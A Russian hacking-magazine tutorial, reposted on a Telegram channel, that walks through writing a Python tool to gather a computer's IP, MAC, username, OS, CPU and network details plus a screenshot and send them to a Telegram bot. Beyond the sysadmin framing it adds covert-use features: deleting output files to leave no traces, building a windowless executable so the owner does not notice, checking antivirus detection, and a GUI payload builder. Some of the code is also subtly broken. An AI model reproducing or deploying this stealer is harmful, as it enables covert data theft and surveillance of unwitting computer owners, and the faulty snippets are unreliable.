Хакер - Разведка змеем. Собираем информацию о системе с помощью Python

Хакер - Разведка змеем. Собираем информацию о системе с помощью Python

hacker_frei

https://t.me/hacker_frei

Marklint

Содержание статьи

  • Инструменты
  • Задачи
  • Создаем основу программы
  • Сбор данных
  • Скорость интернет-соединения
  • Часовой пояс и время
  • Частота процессора
  • Скриншот рабочего стола
  • Запись в файл
  • Отправка данных
  • Собираем программу
  • Пишем сборщик с графическим интерфейсом
  • Вывод

Ес­ли ты час­то име­ешь дело с раз­ными компь­юте­рами, тебе, конеч­но, нужен прос­той в исполь­зовании и быс­трый инс­тру­мент для сбо­ра информа­ции о сис­теме. Сегод­ня мы покажем, как сде­лать такую прог­рамму, отсы­лающую соб­ранные дан­ные в Telegram, а еще поп­ракти­куем­ся в прог­рамми­рова­нии на Python.

Что­бы прос­то пос­мотреть IP-адрес и дру­гие нас­трой­ки сети, тебе при­дет­ся обра­тить­ся к коман­дной стро­ке и выпол­нить коман­ду ipconfig /all. Ситу­ация одна из самых час­тых для эни­кей­щиков и уда­лен­ных шаманов, но она хотя бы быс­тро реша­ема. Но если при­дет­ся собирать более серь­езный набор информа­ции о машине, с которой сей­час будешь работать, — без авто­мати­зации не обой­тись. Этим мы сегод­ня и зай­мем­ся.

Имей в виду, что эта прог­рамма может исполь­зовать­ся как для быс­тро­го сбо­ра информа­ции о сво­ей сис­теме, так и для кра­жи иден­тифици­рующей информа­ции с компь­юте­ра жер­твы. Мы граж­дане законо­пос­лушные, поэто­му пусть это и не пароли, но, что­бы не раз­дра­жать пра­воох­раните­лей, все тес­ты будут про­водить­ся на изо­лиро­ван­ных вир­туаль­ных машинах.

WARNING

Не­сан­кци­они­рован­ный дос­туп к компь­ютер­ной информа­ции — прес­тупле­ние. Ни автор, ни редак­ция жур­нала не несут ответс­твен­ности за твои дей­ствия.

ИНСТРУМЕНТЫ

Сна­чала давай раз­берем­ся, где будем писать код. Мож­но кодить в обыч­ном вин­довом «Блок­ноте», но мы вос­поль­зуем­ся спе­циаль­ной IDE для Python — PyCharm. Уста­нов­ка и нас­трой­ка прос­ты как два руб­ля: ска­чал уста­нов­щик, запус­тил — и кли­кай себе «Далее», пока есть такая кноп­ка.

Еще нам пот­ребу­ется Python. Я буду исполь­зовать вер­сию 3.9.0 — с ней точ­но все работа­ет.

ЗАДАЧИ

Да­вай сна­чала обри­суем, что мы вооб­ще пла­ниру­ем делать. Я пла­нирую собирать сле­дующую информа­цию:

  1. IP-адрес.
  2. MAC-адрес.
  3. Имя поль­зовате­ля.
  4. Тип опе­раци­онной сис­темы.
  5. Ско­рость работы сис­темы.
  6. Вре­мя.
  7. Скрин­шот.
  8. Ско­рость интернет‑соеди­нения.
  9. Мо­дель про­цес­сора.

И отправ­лять­ся это все будет пря­миком тебе в телегу через спе­циаль­ный бот.

Зачем?

На­вер­няка у тебя воз­ник воп­рос: зачем может понадо­бить­ся MAC-адрес или модель про­цес­сора? Эти парамет­ры меня­ются очень и очень ред­ко, так что прек­расно под­ходят для фин­гер­прин­тинга. Даже если поль­зователь купит более быс­трый интернет‑канал или поменя­ет часовой пояс, ты без осо­бого тру­да смо­жешь опре­делить, что уже имел дело с этим компь­юте­ром. Сто­ит пом­нить, что ров­но такие же методы исполь­зуют хит­рые рек­ламщи­ки для иден­тифика­ции поль­зовате­лей, да и раз­работ­чики три­аль­ных вер­сий прог­рамм тоже. Эта статья поможет чуть луч­ше понять, что мож­но узнать о тво­ем компь­юте­ре в пол­ностью авто­мати­чес­ком режиме, а как при­менить эту информа­цию — решать толь­ко тебе.

В этой статье мы не будем показы­вать, как сфор­мировать устой­чивый к нез­начитель­ным изме­нени­ям иден­тифика­тор, который поможет однознач­но опре­делить кон­крет­ный компь­ютер. Если тебе ста­нет инте­рес­но — пиши в ком­мента­риях, и, воз­можно, мы сде­лаем боль­шой гайд на эту тему!

СОЗДАЕМ ОСНОВУ ПРОГРАММЫ

Для отправ­ки дан­ных я решил вос­поль­зовать­ся Telegram-ботом. Соз­дать его ты можешь через BotFather, а пос­ле сох­ранить token тво­его тво­рения. Пуб­ликовать его нель­зя — любой, кто получит этот токен, смо­жет зах­ватить кон­троль над тво­им ботом.

Для под­клю­чения к Bot API «телеги» нуж­ны все­го две строч­ки:

import telebot

bot = telebot.TeleBot("token from BotFather") # Подключение бота

Что­бы оце­нить быс­тро­дей­ствие, мож­но написать еще пару строк. Весь даль­нейший код рас­положим меж­ду ними. Опи­сан­ное выше под­клю­чение бота уже впи­сано сюда.

import telebot

from datetime import datetime

bot = telebot.TeleBot("token")

start = datetime.now() # Начало отсчета

# Сюда поместим нашу основу, поэтому оставляем место

ends = datetime.now() # Конец отсчета

workspeed = format(ends - start) # Вычисление времени

Те­перь перей­дем собс­твен­но к сбо­ру дан­ных.

СБОР ДАННЫХ

Я не буду дол­го ходить вок­руг да око­ло и сра­зу нач­ну раз­бирать сек­цию импорта.

import getpass

import os

import socket

from datetime import datetime

from uuid import getnode as get_mac

import pyautogui

from speedtest import Speedtest

import telebot

import psutil

import platform

from PIL import Image

Те­перь крат­ко рас­смот­рим, что дела­ет каж­дый модуль. Если какие‑то фун­кции тебе не нуж­ны, выб­роси стро­ку импорта модуля и код, который исполь­зует этот модуль. Все прос­то!

Итак, за работу с ОС и локаль­ными ресур­сами отве­чают эти четыре модуля:

  • getpass нужен для опре­деле­ния информа­ции о поль­зовате­ле;
  • os исполь­зуем для вза­имо­дей­ствия с фун­кци­ями ОС, вро­де вызова внеш­них исполня­емых фай­лов;
  • psutil работа­ет с некото­рыми низ­коуров­невыми сис­темны­ми фун­кци­ями;
  • platform пре­дос­тавит информа­цию об ОС.

Эти­ми модуля­ми реали­зова­ны сетевые вза­имо­дей­ствия:

  • socket — для работы с сокета­ми и получе­ния IP-адре­сов;
  • getnode получа­ет MAC-адрес машины;
  • speedtest замеря­ет харак­терис­тики интернет‑соеди­нения;
  • telebot сде­лает всю рутину по работе с Telegram-ботом.

Слу­жеб­ные при­моч­ки, которые труд­но отнести к катего­риям выше:

  • datetime поз­волит опре­делить вре­мя работы прог­раммы;
  • pyautogui быс­тро и без боли работа­ет с GUI;
  • PIL.Image — для сня­тия скрин­шота.

Пос­ле это­го нам тре­бует­ся узнать основные ста­биль­ные харак­терис­тики сис­темы: IP- и MAC-адре­са, имя поль­зовате­ля и ОС:

name = getpass.getuser() # Имя пользователя

ip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системы

mac = get_mac() # MAC адрес

ost = platform.uname() # Название операционной системы

Стро­ки кода снаб­жены ком­мента­риями и в пояс­нени­ях не нуж­дают­ся.

Скорость интернет-соединения

from speedtest import Speedtest # Импорт модуля. Рассматривался выше

inet = Speedtest()

download = float(str(inet.download())[0:2] + "." # Входящая скорость

+ str(round(inet.download(), 2))[1]) * 0.125

uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость

+ str(round(inet.download(), 2))[1]) * 0.125

Ско­рость замеря­ется биб­лиоте­кой сер­виса Speedtest.net и, соот­ветс­твен­но, выда­ет резуль­тат в мегаби­тах, а не мегабай­тах. Что­бы это испра­вить, раз­делим чис­ленный резуль­тат на 8 или умно­жим на 0,125 — это одно и то же. Манипу­ляцию про­делы­ваем дваж­ды — для вхо­дящей и исхо­дящей ско­рос­ти.

Важ­но понимать, что замер не пре­тен­дует на свер­хточ­ность, потому что мы никак не можем лег­ко про­верить, какую часть канала пот­ребля­ют дру­гие прог­раммы или даже дру­гие устрой­ства в сети. Если ты под­клю­чил­ся к рабочей стан­ции уда­лен­но, твое соеди­нение тоже что‑то будет пот­реблять. В прог­рамме поп­равка на это не реали­зова­на из‑за ее слиш­ком низ­кой точ­ности и тру­доем­кости.

Часовой пояс и время

import psutil

zone = psutil.boot_time() # Узнает время, заданное на компьютере

time = datetime.fromtimestamp(zone) # Переводит данные в читаемый вид

Ес­ли ты нас­тра­иваешь чей‑то сер­вер или слиш­ком уда­лен­ный компь­ютер, вре­мя может отли­чать­ся. Ко всем про­чим дан­ным добавим и показа­ния часов — информа­ция лиш­ней не быва­ет. Если ты не знал, неп­равиль­но выс­тавлен­ное вре­мя и/или часовой пояс может вызывать сбои при под­клю­чении к сай­там, исполь­зующим HTTPS, а этот кусочек кода поз­волит лег­ко выявить такие проб­лемы.

Частота процессора

import psutil

cpu = psutil.cpu_freq()

Мо­жет помочь выявить при­чину тор­мозну­тос­ти компь­юте­ра: если про­цес­сор пос­тоян­но молотит на пол­ную, но прог­раммы вис­нут — про­цес­сор уста­рел, а если прос­таивает — винова­та прог­рамма. Да и прос­то общее пред­став­ление о железе дает.

Более глубокий фингерпринтинг

В этой статье умыш­ленно не рас­ска­зыва­ется, как получить иден­тифика­тор жес­тко­го дис­ка или GUID уста­нов­ленной Windows: мы не методич­ку для рек­ламщи­ков пишем, а прог­рамми­ровать тре­ниру­емся. Тем не менее ты лег­ко можешь добавить сбор и такой информа­ции, вос­поль­зовав­шись кон­соль­ной ути­литой wmic. Ее вывод мож­но пар­сить с помощью Python-скрип­та, так что даже не при­дет­ся писать лиш­ние обвязки. На скрин­шоте при­мер получе­ния серий­ного номера BIOS.

Скриншот рабочего стола

os.getcwd()

try: # Перехват ошибки в случае неверно указанного расположения

os.chdir(r"/temp/path")

except OSError:

@bot.message_handler(commands=['start'])

def start_message(message): # Служебная обвязка для бота

bot.send_message(message.chat.id, "[Error]: Location not found!")

bot.stop_polling()

bot.polling()

raise SystemExit

screen = pyautogui.screenshot("screenshot.jpg") # Снятие скриншота

Тут все тоже мак­сималь­но прос­то, а за собс­твен­но сня­тие скрин­шота отве­чает толь­ко пос­ледняя стро­ка кода. Осталь­ное мы исполь­зуем для кор­рек­тной обра­бот­ки вхо­дящей коман­ды бота.

ЗАПИСЬ В ФАЙЛ

Те­перь, ког­да все готово, мы можем прис­тупать к финаль­ному сбо­ру и отправ­ке дан­ных. Соз­даем готовый файл с нашими дан­ными: если исполь­зовал­ся мак­сималь­ный сбор информа­ции, а точ­нее весь код выше, то исполь­зуем такую запись, в про­тив­ном слу­чае уби­рай ненуж­ные тебе дан­ные:


try: # Обвязка для обработки команд боту

os.chdir(r"/temp/path")

except OSError:

@bot.message_handler(commands=['start'])

def start_message(message):

bot.send_message(message.chat.id, "[Error]: Location not found!")

bot.stop_polling()

bot.polling()

raise SystemExit

file = open("info.txt", "w") # Открываем файл

file.write(f"[================================================]\n Operating System: {ost.system}\n Processor: {ost.processor}\n Username: {name}\n IP adress: {ip}\n MAC adress: {mac}\n Timezone: {time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.second}\n Work speed: {workspeed}\n Download: {download} MB/s\n Upload: {uploads} MB/s\n Max Frequency: {cpu.max:.2f} Mhz\n Min Frequency: {cpu.min:.2f} Mhz\n Current Frequency: {cpu.current:.2f} Mhz\n[================================================]\n") # Пишем

file.close() # Закрываем

Длин­ный, но лег­ко чита­емый код. Пер­вая его часть обес­печива­ет обра­бот­ку коман­ды /start, вто­рая — запись всех дан­ных в файл. Резуль­тат попадет в info.txt, но путь, конеч­но, мож­но изме­нить пря­мо в коде.

Де­ло оста­ется за малым — отпра­вить резуль­тат в Telegram.

ОТПРАВКА ДАННЫХ

Те­перь допол­ним код выше, что­бы он еще и фай­лы отправ­лял.

text = "Screenshot" # Требуется при создании скриншота (текст к фото)

@bot.message_handler(commands=['start']) # Выполняет действия при команде start

def start_message(message):

upfile = open("Путь до файла\info.txt", "rb") # Читает файлы

uphoto = open("Путь до файла\screenshot.jpg", "rb")

bot.send_photo(message.chat.id, uphoto, text) # Отправляет данные

bot.send_document(message.chat.id, upfile)

upfile.close() # Закрывает файлы (обязательно)

uphoto.close()

os.remove("info.txt") # Удаляет файлы, чтобы не оставлять следы

os.remove("screenshot.jpg")

bot.stop_polling() # Закрывает соединение после отправки

bot.polling() # Создает соединение с ботом

Сна­чала ука­зыва­ется под­пись к скрин­шоту, потом чита­ем и отправ­ляем фай­лы в виде фото и докумен­та, затем зачища­ем сле­ды и зак­рыва­ем соеди­нение с ботом. Ничего слож­ного!

Ес­тес­твен­но, если нам не нужен, к при­меру, скрин­шот, мы можем вырезать код его отправ­ки, получив такой вари­ант:

@bot.message_handler(commands=['start'])

def start_message(message):

upfile = open("Путь до файла\info.txt", "rb")

bot.send_document(message.chat.id, upfile)

upfile.close()

os.remove("info.txt")

bot.stop_polling()

bot.polling()

INFO

Что­бы бот гаран­тирован­но отправ­лял все сооб­щения тебе, ука­жи вмес­то message.chat.id ID чата с собой. Его мож­но узнать через бот GetMyID.

Так­же сле­дует учесть одну деталь: перед запус­ком прог­раммы ты дол­жен отпра­вить сво­ему боту коман­ду /start, что­бы он понял, кому сле­дует отправ­лять дан­ные.

СОБИРАЕМ ПРОГРАММУ

Что­бы не тянуть с собой на дру­гой компь­ютер Python и зависи­мос­ти прог­раммы, давай упа­куем все в один исполня­емый фай­лик. Дела­ется это с помощью PyInstaller, который ста­вит­ся прос­той коман­дой pip install pyinstaller.

Пе­рехо­дим с помощью коман­дной стро­ки в пап­ку с нашей прог­раммой и собира­ем ее коман­дой

pyinstaller -i путь_до_иконки --onefile наш_файл.py

Ар­гумент --onefile зас­тавит PyInstaller упа­ковать все в единс­твен­ный файл. Пос­ле -i надо ука­зать путь до икон­ки исполня­емо­го фай­ла, если ты хочешь ее исполь­зовать. Если она не нуж­на, прос­то уда­ли этот аргу­мент. Пос­ледним идет путь к фай­лу с нашим кодом. Если ты не хочешь, что­бы при запус­ке появ­лялась кон­соль (нап­ример, если вла­делец компь­юте­ра не зна­ет, что ты соб­рался ему помочь :D), поменяй рас­ширение вход­ного фай­ла с кодом на .pyw или ука­жи опцию -w.

Не забывай про­верять наличие модулей и их обновле­ний, что­бы избе­жать оши­бок. Вре­мен­ный путь мож­но ука­зать любой, но лич­но я ука­зываю C:\Temp. Само собой, если обна­руже­на ОС на базе Linux, то этот код при­дет­ся поп­равить.

Еще сле­дует про­верить, как силь­но и чем детек­тится наш файл. Что­бы тебе не лезть на VirusTotal, я сде­лал это сам.

Ре­зуль­тат ска­ниро­вания на VirusTotal

WWW

Пол­ный код про­екта я раз­местил на GitHub. Там есть и прог­рамма‑сбор­щик, о которой я рас­ска­жу ниже.

ПИШЕМ СБОРЩИК С ГРАФИЧЕСКИМ ИНТЕРФЕЙСОМ

Для соз­дания GUI сбор­щика нам при­дет­ся работать с биб­лиоте­кой Tkinter, поэто­му преж­де все­го импорти­руем ее и нуж­ные эле­мен­ты:

# -*- coding: utf-8 -*- # Не забываем указывать конфигурацию

from tkinter import * # Сама библиотека для работы

from tkinter import messagebox as mb # Функция для создания окон с информацией

Пос­ле это­го нуж­но соз­дать окно, которое и будет осно­вой интерфей­са:

root = Tk()

root.title("Tkinter") # Название программы

root.geometry("300x400") # Разрешение окна программы

Нам нужен толь­ко ввод API-клю­ча для дос­тупа к боту. Дела­ется такой ввод кодом ниже:

text = Label(root, text="Telegram bot token") # Текст для обозначения поля

text.grid(padx=100, pady=0) # Расположение по x/y

API = Entry(root, width=20) # Создание поля ввода данных

API.grid(padx=100, pady=0)

Это соз­даст два гра­фичес­ких объ­екта — поле вво­да и под­пись к нему.

В этом интерфей­се не хва­тает кноп­ки для сбор­ки выход­ного фай­ла. Давай соз­дадим ее:

button = Button(root, text="Create", command=clicked, height=2, width=10)

button.grid(padx=100, pady=0)

Соз­даем фун­кцию, которая дол­жна находить­ся в фай­ле пос­ле импорта биб­лиотек. В ней мы дол­жны соз­давать файл и записы­вать в него код полез­ной наг­рузки.

def clicked():

system = open("source.py", "w")

system.write('''

# Сюда перемещаем полный код программы, которую мы писали раньше

''')

system.close()

WARNING

Не шути с про­бела­ми! Перед тем как встав­лять код, убе­дись, что там нет лиш­них про­белов, ина­че может воз­никнуть труд­но обна­ружи­мая ошиб­ка.

Но на этом наша фун­кция не закан­чива­ется, так как нуж­но дать поль­зовате­лю понять, готов ли файл. Дела­ем это с помощью MessageBox:

if API.get() or direct.get() == "":

mb.showwarning("WARNING", "There are empty fields")

else:

mb.showinfo("INFO", "The system.py file is ready!")

Те­перь оста­лось толь­ко запус­тить отри­сов­ку и обра­бот­ку сооб­щений стро­кой root.mainloop().

Оп­циональ­но мож­но соб­рать и сбо­роч­ный интерфейс. Для это­го исполь­зуем ста­рый доб­рый PyInstaller:

pyinstaller -F -w --onefile программа.py

И все готово! Теперь ты име­ешь пол­ноцен­ную прог­рамму для сбо­ра дан­ных о сис­теме и ее сбор­щик, который уско­рит про­цесс работы.

Каж­дый раз при­бегать к PyInstaller, что­бы соб­рать прог­рамму, не слиш­ком удоб­но. Мож­но вос­поль­зовать­ся модулем os и вызывать PyInstaller авто­мати­чес­ки.

import os

os.system("pyinstaller --onefile наш_файл.py") # Сборка выходного бинарника

os.rmdir("build")

os.rmdir("__pycache__")

os.remove("system.py")

os.remove("system.spec")

Ес­ли тебе понадо­билась икон­ка, мож­но добавить в коман­ду сбор­ки параметр -i file.ico, а для сбор­ки «невиди­мой» прог­раммы дописать -w — ров­но как при руч­ной сбор­ке!

ВЫВОД

В этой статье мы разоб­рали от начала и до кон­ца, как вытащить из сво­ей или чужой сис­темы некото­рые важ­ные дан­ные — от IP до модели про­цес­сора. Конеч­но, глав­ное тут в том, что ты научил­ся хоть нем­ного писать код самос­тоятель­но — а при­менить всег­да куда‑нибудь получит­ся. Если заин­тересо­вал­ся прог­рамми­рова­нием на Python — почитай на­шу статью о написа­нии прос­того вируса, она ста­нет отличным зак­репле­нием навыков прог­рамми­рова­ния. Успе­хов!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei


Report Page